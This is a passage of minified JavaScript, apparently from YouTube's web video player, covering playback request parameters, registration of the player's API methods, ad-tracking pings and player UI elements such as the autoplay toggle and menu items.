x.contentCheckOk&&(u.contentCheckOk=!0);if(H=x.clientPlaybackNonce)u.cpn=H;if(H=x.playerParams)u.params=H;if(H=x.playlistId)u.playlistId=H;x.racyCheckOk&&(u.racyCheckOk=!0);H=x.Y();if(E=H.embedConfig)u.serializedThirdPartyEmbedConfig=E;u.captionParams={};E=g.Wc(g.Bc(),65);x.deviceCaptionsOn!=null?u.captionParams.deviceCaptionsOn=x.deviceCaptionsOn:g.f1(H)&&(u.captionParams.deviceCaptionsOn=E!=null?!E:!1);x.aK&&(u.captionParams.deviceCaptionsLangPref=x.aK);x.OA.length?u.captionParams.viewerSelectedCaptionLangs=
x.OA:g.f1(H)&&(E=g.N8(),E==null?0:E.length)&&(u.captionParams.viewerSelectedCaptionLangs=E);E=x.fetchType==="onesie"&&x.B("html5_onesie_attach_po_token");I=x.fetchType!=="onesie"&&x.B("html5_non_onesie_attach_po_token");if(E||I)E=x.Y(),E.mY&&(u.serviceIntegrityDimensions={},u.serviceIntegrityDimensions.poToken=E.mY);H.B("fetch_att_independently")&&(u.attestationRequest={omitBotguardData:!0});if(H.B("html5_enable_sabr_from_watch_server")||H.B("html5_create_default_device_playback_capabilities")||H.B("html5_report_supports_vp9_encoding"))u.playbackContext||
(u.playbackContext={}),u.playbackContext.devicePlaybackCapabilities=Rim(x),u.playbackContext.devicePlaybackCapabilities.supportsVp9Encoding===!1&&x.kc("noVp9",{});return u};
Rim=function(x){var T=!(x==null?0:x.po())&&(x==null?void 0:x.B9())&&xi(),t;if(t=x==null?0:x.B("html5_report_supports_vp9_encoding")){if(x==null)t=0;else{t=g.HV(x);x=x.Y().T;var u=$c("243");t=u?lG(t,u,x,!0)===!0:!1}t=t&&!T}return{supportsVp9Encoding:!!t,supportXhr:KY}};
cbX=function(x,T){var t,u,H;return g.G(function(I){if(I.C==1)return t={context:g.sT(x.Y()),engagementType:"ENGAGEMENT_TYPE_PLAYBACK",ids:[{playbackId:{videoId:x.videoId,cpn:x.clientPlaybackNonce}}]},u=g.K2(S8f),g.v(I,g.QK(T,t,u),2);H=I.Z;return I.return(H)})};
Y8q=function(x,T,t){var u=g.Z9(T.experiments,"bg_vm_reinit_threshold");(!LT||(0,g.bo)()-LT>u)&&cbX(x,t).then(function(H){H&&(H=H.botguardData)&&g.gI(H,T)},function(H){x.T9()||(H=kX(H),x.kc("attf",H.details))})};
$h=function(x,T){g.W.call(this);this.app=x;this.state=T};
ih=function(x,T,t){x.state.C.hasOwnProperty(T)||HF(x,T,t);x.state.N[T]=function(){return t.apply(x,g.FD.apply(0,arguments))};
x.state.D.add(T)};
I9=function(x,T,t){x.state.C.hasOwnProperty(T)||HF(x,T,t);x.app.Y().N&&(x.state.J[T]=function(){return t.apply(x,g.FD.apply(0,arguments))},x.state.D.add(T))};
HF=function(x,T,t){x.state.C[T]=function(){return t.apply(x,g.FD.apply(0,arguments))}};
g.ET=function(x,T,t){return x.state.C[T].apply(x.state.C,g.U(t))};
qw=function(){g.UR.call(this);this.T=new Map};
Z0=function(){g.W.apply(this,arguments);this.element=null;this.D=new Set;this.N={};this.J={};this.C={};this.S=new Set;this.j=new qw;this.Z=new qw;this.K=new qw;this.T=new qw};
UTH=function(x,T,t){typeof x==="string"&&(x={mediaContentUrl:x,startSeconds:T,suggestedQuality:t});a:{if((T=x.mediaContentUrl)&&(T=/\/([ve]|embed)\/([^#?]+)/.exec(T))&&T[2]){T=T[2];break a}T=null}x.videoId=T;return jx(x)};
jx=function(x,T,t){if(typeof x==="string")return{videoId:x,startSeconds:T,suggestedQuality:t};T={};t=g.S(bFJ);for(var u=t.next();!u.done;u=t.next())u=u.value,x[u]&&(T[u]=x[u]);return T};
rbf=function(x,T,t,u){if(g.p4(x)&&!Array.isArray(x)){T="playlist list listType index startSeconds suggestedQuality".split(" ");t={};for(u=0;u<T.length;u++){var H=T[u];x[H]&&(t[H]=x[H])}return t}T={index:T,startSeconds:t,suggestedQuality:u};typeof x==="string"&&x.length===16?T.list="PL"+x:T.playlist=x;return T};
ex=function(){$h.apply(this,arguments)};
kzf=function(x){ih(x,"cueVideoById",x.Z4);ih(x,"loadVideoById",x.EmG);ih(x,"cueVideoByUrl",x.dI);ih(x,"loadVideoByUrl",x.jfm);ih(x,"playVideo",x.qiG);ih(x,"pauseVideo",x.pauseVideo);ih(x,"stopVideo",x.HKQ);ih(x,"clearVideo",x.clearVideo);ih(x,"getVideoBytesLoaded",x.wF);ih(x,"getVideoBytesTotal",x.sM);ih(x,"getVideoLoadedFraction",x.SA);ih(x,"getVideoStartBytes",x.Jd);ih(x,"cuePlaylist",x.cuePlaylist);ih(x,"loadPlaylist",x.bfG);ih(x,"nextVideo",x.cMZ);ih(x,"previousVideo",x.pSu);ih(x,"playVideoAt",
x.cR9);ih(x,"setShuffle",x.setShuffle);ih(x,"setLoop",x.setLoop);ih(x,"getPlaylist",x.Nu);ih(x,"getPlaylistIndex",x.getPlaylistIndex);ih(x,"getPlaylistId",x.getPlaylistId);ih(x,"loadModule",x.yc);ih(x,"unloadModule",x.OP);ih(x,"setOption",x.OH);ih(x,"getOption",x.Rz);ih(x,"getOptions",x.P8);ih(x,"mute",x.Baj);ih(x,"unMute",x.Vw7);ih(x,"isMuted",x.isMuted);ih(x,"setVolume",x.vgm);ih(x,"getVolume",x.getVolume);ih(x,"seekTo",x.q09);ih(x,"getPlayerMode",x.getPlayerMode);ih(x,"getPlayerState",x.B4);ih(x,
"getAvailablePlaybackRates",x.getAvailablePlaybackRates);ih(x,"getPlaybackQuality",function(){return x.getPlaybackQuality(1)});
ih(x,"setPlaybackQuality",x.mfu);ih(x,"getAvailableQualityLevels",x.H4);ih(x,"getCurrentTime",x.Iz);ih(x,"getDuration",x.Td);ih(x,"addEventListener",x.IR);ih(x,"removeEventListener",x.ogc);ih(x,"getDebugText",x.DE);ih(x,"getVideoData",function(){return ziV(x)});
ih(x,"addCueRange",x.O8);ih(x,"removeCueRange",x.removeCueRange);ih(x,"setSize",x.setSize);ih(x,"getApiInterface",x.getApiInterface);ih(x,"destroy",x.destroy);ih(x,"mutedAutoplay",x.mutedAutoplay);var T=x.app.Y();T.D||(ih(x,"getVideoEmbedCode",x.getVideoEmbedCode),ih(x,"getVideoUrl",x.mH));ih(x,"getMediaReferenceTime",x.Mu);ih(x,"getSize",x.getSize);ih(x,"setFauxFullscreen",x.Vx9);T.B("embeds_enable_move_set_center_crop_to_public")&&ih(x,"setCenterCrop",x.setCenterCrop);T.D||ih(x,"logImaAdEvent",
x.logImaAdEvent);ih(x,"preloadVideoById",x.YiU);ih(x,"wakeUpControls",x.wakeUpControls)};
g.lh=function(x){return(x=FkJ(x.app.xm()))?x.gV():null};
dh=function(x){var T=g.aQ(x.app.Y()),t,u=(t=x.app.getVideoData())==null?void 0:t.yw;x=me(x.app);return g.Ix(T)&&!u||x?!1:!0};
ziV=function(x,T){var t={};if(T=x.app.pz(T===void 0?1:T)){T=T.getVideoData();if(T.isPrivate)return{};t.video_id=T.videoId;t.author=T.author;t.title=T.title;t.isPlayable=XU(T);t.errorCode=T.errorCode;if(T.Z&&T.Z.video){t.video_quality=T.Z.video.quality;T=T.Z.video;var u=[];T.fps>32&&u.push("hfr");T.isHdr()&&u.push("hdr");T.primaries==="bt2020"&&u.push("wcg");t.video_quality_features=u}}if(x=x.getPlaylistId())t.list=x;return t};
Mw=function(){ex.apply(this,arguments)};
AW=function(x,T){var t={};if(x.app.Y().jY){x=g.S(hi5);for(var u=x.next();!u.done;u=x.next())u=u.value,T.hasOwnProperty(u)&&(t[u]=T[u]);if(T=t.qoe_cat)x="",typeof T==="string"&&T.length>0&&(x=T.split(",").filter(function(H){return vsJ.includes(H)}).join(",")),t.qoe_cat=x;
VsV(t)}else for(x=g.S(GzD),u=x.next();!u.done;u=x.next())u=u.value,T.hasOwnProperty(u)&&(t[u]=T[u]);return t};
VsV=function(x){var T=x.raw_player_response;if(!T){var t=x.player_response;t&&(T=JSON.parse(t))}delete x.player_response;delete x.raw_player_response;if(T){x.raw_player_response={streamingData:T.streamingData};var u;if((u=T.playbackTracking)==null?0:u.qoeUrl)x.raw_player_response=Object.assign({},x.raw_player_response,{playbackTracking:{qoeUrl:T.playbackTracking.qoeUrl}});var H;if((H=T.videoDetails)==null?0:H.videoId)x.raw_player_response=Object.assign({},x.raw_player_response,{videoDetails:{videoId:T.videoDetails.videoId}})}};
R9=function(x,T,t){var u=x.app.p4(t);if(!u)return 0;x=u-x.app.getCurrentTime(t);return T-x};
nsi=function(x){var T=T===void 0?5:T;return x?LkV[x]||T:T};
g.PF=function(){Mw.apply(this,arguments)};
aW5=function(x){HF(x,"getInternalApiInterface",x.getInternalApiInterface);HF(x,"addEventListener",x.yH);HF(x,"removeEventListener",x.dfc);HF(x,"cueVideoByPlayerVars",x.jR);HF(x,"loadVideoByPlayerVars",x.kIf);HF(x,"preloadVideoByPlayerVars",x.JRZ);HF(x,"getAdState",x.getAdState);HF(x,"sendAbandonmentPing",x.sendAbandonmentPing);HF(x,"setLoopRange",x.setLoopRange);HF(x,"getLoopRange",x.getLoopRange);HF(x,"setAutonavState",x.setAutonavState);HF(x,"seekTo",x.ciY);HF(x,"seekBy",x.ggZ);HF(x,"seekToLiveHead",
x.seekToLiveHead);HF(x,"requestSeekToWallTimeSeconds",x.requestSeekToWallTimeSeconds);HF(x,"seekToStreamTime",x.seekToStreamTime);HF(x,"startSeekCsiAction",x.startSeekCsiAction);HF(x,"getStreamTimeOffset",x.getStreamTimeOffset);HF(x,"getVideoData",x.VB);HF(x,"setInlinePreview",x.setInlinePreview);HF(x,"getAppState",x.getAppState);HF(x,"updateLastActiveTime",x.updateLastActiveTime);HF(x,"setBlackout",x.setBlackout);HF(x,"setUserEngagement",x.setUserEngagement);HF(x,"updateSubtitlesUserSettings",x.updateSubtitlesUserSettings);
HF(x,"getPresentingPlayerType",x.uS);HF(x,"canPlayType",x.canPlayType);HF(x,"updatePlaylist",x.updatePlaylist);HF(x,"updateVideoData",x.updateVideoData);HF(x,"updateEnvironmentData",x.updateEnvironmentData);HF(x,"sendVideoStatsEngageEvent",x.Aiy);HF(x,"productsInVideoVisibilityUpdated",x.productsInVideoVisibilityUpdated);HF(x,"setSafetyMode",x.setSafetyMode);HF(x,"isAtLiveHead",function(T){return x.isAtLiveHead(void 0,T)});
HF(x,"getVideoAspectRatio",x.getVideoAspectRatio);HF(x,"getPreferredQuality",x.getPreferredQuality);HF(x,"getPlaybackQualityLabel",x.getPlaybackQualityLabel);HF(x,"setPlaybackQualityRange",x.pUU);HF(x,"onAdUxClicked",x.onAdUxClicked);HF(x,"getFeedbackProductData",x.getFeedbackProductData);HF(x,"getStoryboardFrame",x.getStoryboardFrame);HF(x,"getStoryboardFrameIndex",x.getStoryboardFrameIndex);HF(x,"getStoryboardLevel",x.getStoryboardLevel);HF(x,"getNumberOfStoryboardLevels",x.getNumberOfStoryboardLevels);
HF(x,"getCaptionWindowContainerId",x.getCaptionWindowContainerId);HF(x,"getAvailableQualityLabels",x.getAvailableQualityLabels);HF(x,"addCueRange",x.addCueRange);HF(x,"addUtcCueRange",x.addUtcCueRange);HF(x,"showAirplayPicker",x.showAirplayPicker);HF(x,"dispatchReduxAction",x.dispatchReduxAction);HF(x,"getPlayerResponse",x.n9);HF(x,"getWatchNextResponse",x.p9);HF(x,"getHeartbeatResponse",x.hd);HF(x,"getCurrentTime",x.yB);HF(x,"getDuration",x.nY);HF(x,"getPlayerState",x.getPlayerState);HF(x,"getPlayerStateObject",
x.gF);HF(x,"getVideoLoadedFraction",x.getVideoLoadedFraction);HF(x,"getProgressState",x.getProgressState);HF(x,"getVolume",x.getVolume);HF(x,"setVolume",x.Q1);HF(x,"isMuted",x.isMuted);HF(x,"mute",x.FL);HF(x,"unMute",x.Xj);HF(x,"loadModule",x.loadModule);HF(x,"unloadModule",x.unloadModule);HF(x,"getOption",x.Ye);HF(x,"getOptions",x.getOptions);HF(x,"setOption",x.setOption);HF(x,"loadVideoById",x.Qc);HF(x,"loadVideoByUrl",x.Dj);HF(x,"playVideo",x.TJ);HF(x,"loadPlaylist",x.loadPlaylist);HF(x,"nextVideo",
x.nextVideo);HF(x,"previousVideo",x.previousVideo);HF(x,"playVideoAt",x.playVideoAt);HF(x,"getDebugText",x.getDebugText);HF(x,"getWebPlayerContextConfig",x.getWebPlayerContextConfig);HF(x,"notifyShortsAdSwipeEvent",x.notifyShortsAdSwipeEvent);HF(x,"getVideoContentRect",x.getVideoContentRect);HF(x,"setSqueezeback",x.setSqueezeback);HF(x,"toggleSubtitlesOn",x.toggleSubtitlesOn);HF(x,"isSubtitlesOn",x.isSubtitlesOn);HF(x,"reportPlaybackIssue",x.reportPlaybackIssue);HF(x,"setAutonav",x.setAutonav);HF(x,
"isNotServable",x.isNotServable);HF(x,"channelSubscribed",x.channelSubscribed);HF(x,"channelUnsubscribed",x.channelUnsubscribed);HF(x,"togglePictureInPicture",x.togglePictureInPicture);HF(x,"supportsGaplessAudio",x.supportsGaplessAudio);HF(x,"supportsGaplessShorts",x.supportsGaplessShorts);HF(x,"enqueueVideoByPlayerVars",function(T){return void x.enqueueVideoByPlayerVars(T)});
HF(x,"clearQueue",x.clearQueue);HF(x,"getAudioTrack",x.L9);HF(x,"setAudioTrack",x.wU7);HF(x,"getAvailableAudioTracks",x.UM);HF(x,"getMaxPlaybackQuality",x.getMaxPlaybackQuality);HF(x,"getUserPlaybackQualityPreference",x.getUserPlaybackQualityPreference);HF(x,"getSubtitlesUserSettings",x.getSubtitlesUserSettings);HF(x,"resetSubtitlesUserSettings",x.resetSubtitlesUserSettings);HF(x,"setMinimized",x.setMinimized);HF(x,"setOverlayVisibility",x.setOverlayVisibility);HF(x,"confirmYpcRental",x.confirmYpcRental);
HF(x,"queueNextVideo",x.queueNextVideo);HF(x,"handleExternalCall",x.handleExternalCall);HF(x,"logApiCall",x.logApiCall);HF(x,"isExternalMethodAvailable",x.isExternalMethodAvailable);HF(x,"setScreenLayer",x.setScreenLayer);HF(x,"getCurrentPlaylistSequence",x.getCurrentPlaylistSequence);HF(x,"getPlaylistSequenceForTime",x.getPlaylistSequenceForTime);HF(x,"shouldSendVisibilityState",x.shouldSendVisibilityState);HF(x,"syncVolume",x.syncVolume);HF(x,"highlightSettingsMenuItem",x.highlightSettingsMenuItem);
HF(x,"openSettingsMenuItem",x.openSettingsMenuItem);HF(x,"getEmbeddedPlayerResponse",x.getEmbeddedPlayerResponse);HF(x,"getVisibilityState",x.getVisibilityState);HF(x,"isMutedByMutedAutoplay",x.isMutedByMutedAutoplay);x.B("embeds_enable_emc3ds_muted_autoplay")&&HF(x,"isMutedByEmbedsMutedAutoplay",x.isMutedByEmbedsMutedAutoplay);HF(x,"setGlobalCrop",x.setGlobalCrop);HF(x,"setInternalSize",x.setInternalSize);HF(x,"setFauxFullscreen",x.setFauxFullscreen);HF(x,"setAppFullscreen",x.setAppFullscreen)};
cF=function(x,T,t){x=g.Sx(x.lD(),T);return t?(t.addOnDisposeCallback(x),null):x};
g.Yh=function(x,T,t){return x.app.Y().VI?T:g.MA("$DESCRIPTION ($SHORTCUT)",{DESCRIPTION:T,SHORTCUT:t})};
gs3=function(x){x.lD().element.setAttribute("aria-live","polite")};
g.UT=function(x,T){g.PF.call(this,x,T);aW5(this);I9(this,"addEventListener",this.QH);I9(this,"removeEventListener",this.zK9);I9(this,"cueVideoByPlayerVars",this.KR);I9(this,"loadVideoByPlayerVars",this.Zzj);I9(this,"preloadVideoByPlayerVars",this.tV7);I9(this,"loadVideoById",this.Qc);I9(this,"loadVideoByUrl",this.Dj);I9(this,"playVideo",this.TJ);I9(this,"loadPlaylist",this.loadPlaylist);I9(this,"nextVideo",this.nextVideo);I9(this,"previousVideo",this.previousVideo);I9(this,"playVideoAt",this.playVideoAt);
I9(this,"getVideoData",this.vP);I9(this,"seekBy",this.Bnc);I9(this,"seekTo",this.FTf);I9(this,"showControls",this.showControls);I9(this,"hideControls",this.hideControls);I9(this,"cancelPlayback",this.cancelPlayback);I9(this,"getProgressState",this.getProgressState);I9(this,"isInline",this.isInline);I9(this,"setInline",this.setInline);I9(this,"setLoopVideo",this.setLoopVideo);I9(this,"getLoopVideo",this.getLoopVideo);I9(this,"getVideoContentRect",this.getVideoContentRect);I9(this,"getVideoStats",this.td);
I9(this,"getCurrentTime",this.QB);I9(this,"getDuration",this.nY);I9(this,"getPlayerState",this.FI);I9(this,"getVideoLoadedFraction",this.Y4);I9(this,"mute",this.FL);I9(this,"unMute",this.Xj);I9(this,"setVolume",this.Q1);I9(this,"loadModule",this.loadModule);I9(this,"unloadModule",this.unloadModule);I9(this,"getOption",this.Ye);I9(this,"getOptions",this.getOptions);I9(this,"setOption",this.setOption);I9(this,"addCueRange",this.addCueRange);I9(this,"getDebugText",this.getDebugText);I9(this,"getStoryboardFormat",
this.getStoryboardFormat);I9(this,"toggleFullscreen",this.toggleFullscreen);I9(this,"isFullscreen",this.isFullscreen);I9(this,"getPlayerSize",this.getPlayerSize);I9(this,"toggleSubtitles",this.toggleSubtitles);this.app.Y().B("embeds_enable_move_set_center_crop_to_public")||I9(this,"setCenterCrop",this.setCenterCrop);I9(this,"setFauxFullscreen",this.setFauxFullscreen);I9(this,"setSizeStyle",this.setSizeStyle);I9(this,"handleGlobalKeyDown",this.handleGlobalKeyDown);I9(this,"handleGlobalKeyUp",this.handleGlobalKeyUp);
kzf(this)};
g.bh=function(x){x=x.xm();var T=x.uD.get("endscreen");return T&&T.Uu()?!0:x.IB()};
g.rh=function(x,T){x.getPresentingPlayerType()===3?x.publish("mdxautoplaycancel"):x.XW("onAutonavCancelled",T)};
g.kh=function(x){var T=zt(x.xm());return x.app.fU&&!x.isFullscreen()||x.getPresentingPlayerType()===3&&T&&T.Ga()&&T.qp()||!!x.getPlaylist()};
g.Fs=function(x,T){g.ET(x,"addEmbedsConversionTrackingParams",[T])};
g.vF=function(x){return(x=g.hW(x.xm()))?x.UO():{}};
g.BZD=function(x){x=(x=x.getVideoData())&&x.Z;return!!x&&!(!x.audio||!x.video)&&x.mimeType!=="application/x-mpegURL"};
g.V$=function(x,T,t){x=x.bG().element;var u=I2(x.children,function(H){H=Number(H.getAttribute("data-layer"));return t-H||1});
u<0&&(u=-(u+1));tn(x,T,u);T.setAttribute("data-layer",String(t))};
g.Gt=function(x){var T=x.Y();if(!T.L4)return!1;var t=x.getVideoData();if(!t||x.getPresentingPlayerType()===3)return!1;var u=(!t.isLiveDefaultBroadcast||T.B("allow_poltergust_autoplay"))&&!xh(t);u=t.isLivePlayback&&(!T.B("allow_live_autoplay")||!u);var H=t.isLivePlayback&&T.B("allow_live_autoplay_on_mweb");x=x.getPlaylist();x=!!x&&x.Ga();var I=t.nf&&t.nf.playerOverlays||null;I=!!(I&&I.playerOverlayRenderer&&I.playerOverlayRenderer.autoplay);I=t.E0&&I;return!t.ypcPreview&&(!u||H)&&!g.wy(t.Hv,"ypc")&&
!x&&(!g.zw(T)||I)};
Wk4=function(x){x=x.app.VU();if(!x)return!1;var T=x.getVideoData();if(!T.Z||!T.Z.video||T.Z.video.C<1080||T.Ob)return!1;var t=/^qsa/.test(T.clientPlaybackNonce),u="r";T.Z.id.indexOf(";")>=0&&(t=/^[a-p]/.test(T.clientPlaybackNonce),u="x");return t?(x.kc("iqss",{trigger:u},!0),!0):!1};
LW=function(){ax.apply(this,arguments);this.requestHeaders={}};
a9=function(){nW||(nW=new LW);return nW};
gh=function(x,T){T?x.requestHeaders.Authorization="Bearer "+T:delete x.requestHeaders.Authorization};
g.BF=function(x,T,t,u){u=u===void 0?!1:u;g.qS.call(this,T);var H=this;this.U=x;this.Hv=u;this.J=new g.nj(this);this.ZZ=new g.XK(this,t,!0,void 0,void 0,function(){H.DA()});
g.y(this,this.J);g.y(this,this.ZZ)};
WF=function(x){var T=x.U.getRootNode();return x.U.B("web_watch_pip")||x.U.B("web_shorts_pip")?gg(T):document};
DTq=function(x){x.Z&&(document.activeElement&&g.ux(x.element,document.activeElement)&&x.Z.focus(),x.Z.setAttribute("aria-expanded","false"),x.Z=void 0);g.zx(x.J);x.S=void 0};
D0=function(x,T,t){x.rE()?x.nz():x.tq(T,t)};
y$=function(x,T,t,u){u=new g.Q({L:"div",DZ:["ytp-linked-account-popup-button"],z9:u,X:{role:"button",tabindex:"0"}});T=new g.Q({L:"div",G:"ytp-linked-account-popup",X:{role:"dialog","aria-modal":"true",tabindex:"-1"},W:[{L:"div",G:"ytp-linked-account-popup-title",z9:T},{L:"div",G:"ytp-linked-account-popup-description",z9:t},{L:"div",G:"ytp-linked-account-popup-buttons",W:[u]}]});g.BF.call(this,x,{L:"div",G:"ytp-linked-account-popup-container",W:[T]},100);var H=this;this.dialog=T;g.y(this,this.dialog);
u.listen("click",function(){H.nz()});
g.y(this,u);g.V$(this.U,this.element,4);this.hide()};
g.JW=function(x,T,t,u){g.qS.call(this,x);this.priority=T;t&&g.Nw(this,t);u&&this.Zn(u)};
g.CW=function(x,T,t,u){x=x===void 0?{}:x;T=T===void 0?[]:T;t=t===void 0?!1:t;u=u===void 0?!1:u;T.push("ytp-menuitem");var H=x;"role"in H||(H.role="menuitem");t||(H=x,"tabindex"in H||(H.tabindex="0"));x={L:t?"a":"div",DZ:T,X:x,W:[{L:"div",G:"ytp-menuitem-icon",z9:"{{icon}}"},{L:"div",G:"ytp-menuitem-label",z9:"{{label}}"},{L:"div",G:"ytp-menuitem-content",z9:"{{content}}"}]};u&&x.W.push({L:"div",G:"ytp-menuitem-secondary-icon",z9:"{{secondaryIcon}}"});return x};
g.Nw=function(x,T){x.updateValue("label",T)};
Q$=function(x){g.JW.call(this,g.CW({"aria-haspopup":"true"},["ytp-linked-account-menuitem"]),2);var T=this;this.U=x;this.Z=this.C=!1;this.If=x.cw();x.createServerVe(this.element,this,!0);this.V(this.U,"settingsMenuVisibilityChanged",function(t){T.JM(t)});
this.V(this.U,"videodatachange",this.K);this.listen("click",this.onClick);this.K()};
pW=function(x){return x?g.eb(x):""};
OT=function(x){g.W.call(this);this.api=x};
fW=function(x){OT.call(this,x);var T=this;HF(x,"setAccountLinkState",function(t){T.setAccountLinkState(t)});
HF(x,"updateAccountLinkingConfig",function(t){T.updateAccountLinkingConfig(t)});
x.addEventListener("videodatachange",function(t,u){T.onVideoDataChange(u)});
x.addEventListener("settingsMenuInitialized",function(){T.menuItem=new Q$(T.api);g.y(T,T.menuItem)})};
ybH=function(x){this.api=x;this.C={}};
wh=function(x,T,t,u){T in x.C||(t=new g.te(t,u,{id:T,priority:2,namespace:"appad"}),x.api.oi([t],1),x.C[T]=t)};
KW=function(x){OT.call(this,x);var T=this;this.events=new g.nj(this);g.y(this,this.events);this.C=new ybH(this.api);this.events.V(this.api,"legacyadtrackingpingreset",function(){T.C.C={}});
this.events.V(this.api,"legacyadtrackingpingchange",function(t){var u=T.C;wh(u,"part2viewed",1,0x8000000000000);wh(u,"engagedview",Math.max(1,t.tM*1E3),0x8000000000000);if(!t.isLivePlayback){var H=t.lengthSeconds*1E3;tB(t)&&u.api.B("html5_shorts_gapless_ads_duration_fix")&&(H=u.api.getProgressState().seekableEnd*1E3-t.oD);wh(u,"videoplaytime25",H*.25,H);wh(u,"videoplaytime50",H*.5,H);wh(u,"videoplaytime75",H*.75,H);wh(u,"videoplaytime100",H,0x8000000000000);wh(u,"conversionview",H,0x8000000000000);
wh(u,"videoplaybackstart",1,H);wh(u,"videoplayback2s",2E3,H);wh(u,"videoplayback10s",1E4,H)}});
this.events.V(this.api,g.$m("appad"),this.Z);this.events.V(this.api,g.Hv("appad"),this.Z)};
Q83=function(x,T,t){if(!(t in T))return!1;T=T[t];Array.isArray(T)||(T=[T]);T=g.S(T);for(t=T.next();!t.done;t=T.next()){t=t.value;var u={CPN:x.api.getVideoData().clientPlaybackNonce};t=g.h_(t,u);u=void 0;u=u===void 0?!1:u;(u=fG(wi(t,NZf),t,u,"Active View 3rd Party Integration URL"))||(u=void 0,u=u===void 0?!1:u,u=fG(wi(t,Jb3),t,u,"Google/YouTube Brand Lift URL"));u||(u=void 0,u=u===void 0?!1:u,u=fG(wi(t,Cnf),t,u,"Nielsen OCR URL"));g.Be(t,void 0,u)}return!0};
Xs=function(x,T){pA4(x,T).then(function(t){g.Be(T,void 0,void 0,t)})};
xz=function(x,T){T.forEach(function(t){Xs(x,t)})};
pA4=function(x,T){return g.bS(x.api.Y())&&I6(T)&&iP(T)?g.sP(x.api.Y(),g.Cm(x.api.getVideoData())).then(function(t){var u;t&&(u={Authorization:"Bearer "+t});return u},void 0):vi()};
OFV=function(x){OT.call(this,x);this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"videoready",function(T){if(x.getPresentingPlayerType()===1){var t,u,H={playerDebugData:{pmlSignal:!!((t=T.getPlayerResponse())==null?0:(u=t.adPlacements)==null?0:u.some(function(I){var E;return I==null?void 0:(E=I.adPlacementRenderer)==null?void 0:E.renderer})),
contentCpn:T.clientPlaybackNonce}};g.io("adsClientStateChange",H)}})};
Tk=function(x){g.Q.call(this,{L:"button",DZ:["ytp-button"],X:{title:"{{title}}","aria-label":"{{label}}","data-priority":"2","data-tooltip-target-id":"ytp-autonav-toggle-button"},W:[{L:"div",G:"ytp-autonav-toggle-button-container",W:[{L:"div",G:"ytp-autonav-toggle-button",X:{"aria-checked":"true"}}]}]});this.U=x;this.Z=[];this.C=!1;this.isChecked=!0;x.createClientVe(this.element,this,113681);this.V(x,"presentingplayerstatechange",this.Go);this.listen("click",this.onClick);this.U.Y().B("web_player_autonav_toggle_always_listen")&&
fWv(this);cF(x,this.element,this);this.Go()};
fWv=function(x){x.Z.push(x.V(x.U,"videodatachange",x.Go));x.Z.push(x.V(x.U,"videoplayerreset",x.Go));x.Z.push(x.V(x.U,"onPlaylistUpdate",x.Go));x.Z.push(x.V(x.U,"autonavchange",x.JE))};
wAf=function(x){x.isChecked=x.isChecked;x.Um("ytp-autonav-toggle-button").setAttribute("aria-checked",String(x.isChecked));var T=x.isChecked?"Autoplay is on":"Autoplay is off";x.updateValue("title",T);x.updateValue("label",T);x.U.Kd()};
Kkf=function(x){return x.U.Y().B("web_player_autonav_use_server_provided_state")&&w0(x.Wk())};
XAv=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"standardControlsInitialized",function(){var t=new Tk(x);g.y(T,t);x.YB(t,"RIGHT_CONTROLS_LEFT")})};
ol=function(x,T){g.JW.call(this,g.CW({role:"menuitemcheckbox","aria-checked":"false"}),T,x,{L:"div",G:"ytp-menuitem-toggle-checkbox"});this.checked=!1;this.enabled=!0;this.listen("click",this.onClick)};
tU=function(x,T){x.checked=T;x.element.setAttribute("aria-checked",String(x.checked))};
x8J=function(x){var T=!x.Y().e7&&x.getPresentingPlayerType()!==3;return x.isFullscreen()||T};
g.sz=function(x,T,t,u){var H=x.currentTarget;if((t===void 0||!t)&&g.cu(x))return x.preventDefault(),!0;T.pauseVideo();x=H.getAttribute("href");g.Wu(x,u,!0);return!1};
g.uL=function(x,T,t){if(QZ(T.Y())&&T.getPresentingPlayerType()!==2){if(g.cu(t))return T.isFullscreen()&&!T.Y().externalFullscreen&&T.toggleFullscreen(),t.preventDefault(),!0}else{var u=g.cu(t);u&&T.pauseVideo();g.Wu(x,void 0,!0);u&&(g.Dy(x),t.preventDefault())}return!1};
oI3=function(){var x=TID.includes("en")?{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M11,11 C9.89,11 9,11.9 9,13 L9,23 C9,24.1 9.89,25 11,25 L25,25 C26.1,25 27,24.1 27,23 L27,13 C27,11.9 26.1,11 25,11 L11,11 Z M17,17 L15.5,17 L15.5,16.5 L13.5,16.5 L13.5,19.5 L15.5,19.5 L15.5,19 L17,19 L17,20 C17,20.55 16.55,21 16,21 L13,21 C12.45,21 12,20.55 12,20 L12,16 C12,15.45 12.45,15 13,15 L16,15 C16.55,15 17,15.45 17,16 L17,17 L17,17 Z M24,17 L22.5,17 L22.5,16.5 L20.5,16.5 L20.5,19.5 L22.5,19.5 L22.5,19 L24,19 L24,20 C24,20.55 23.55,21 23,21 L20,21 C19.45,21 19,20.55 19,20 L19,16 C19,15.45 19.45,15 20,15 L23,15 C23.55,15 24,15.45 24,16 L24,17 L24,17 Z",
fill:"#fff"}}]}:{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"M11,11 C9.9,11 9,11.9 9,13 L9,23 C9,24.1 9.9,25 11,25 L25,25 C26.1,25 27,24.1 27,23 L27,13 C27,11.9 26.1,11 25,11 L11,11 Z M11,17 L14,17 L14,19 L11,19 L11,17 L11,17 Z M20,23 L11,23 L11,21 L20,21 L20,23 L20,23 Z M25,23 L22,23 L22,21 L25,21 L25,23 L25,23 Z M25,19 L16,19 L16,17 L25,17 L25,19 L25,19 Z",fill:"#fff"}}]};x.G="ytp-subtitles-button-icon";return x};
$z=function(){return{L:"div",G:"ytp-spinner-container",W:[{L:"div",G:"ytp-spinner-rotator",W:[{L:"div",G:"ytp-spinner-left",W:[{L:"div",G:"ytp-spinner-circle"}]},{L:"div",G:"ytp-spinner-right",W:[{L:"div",G:"ytp-spinner-circle"}]}]}]}};
Hw=function(x){if(document.createRange){var T=document.createRange();T&&(T.selectNodeContents(x),x=window.getSelection())&&(x.removeAllRanges(),x.addRange(T))}};
Ez=function(x){var T=x.B("web_player_use_cinematic_label_2")?"Ambient mode":"Cinematic lighting";ol.call(this,T,g.iL.L1);var t=this;this.U=x;this.C=!1;this.Z=new g.wX(function(){g.H$(t.element,"ytp-menuitem-highlighted")},0);
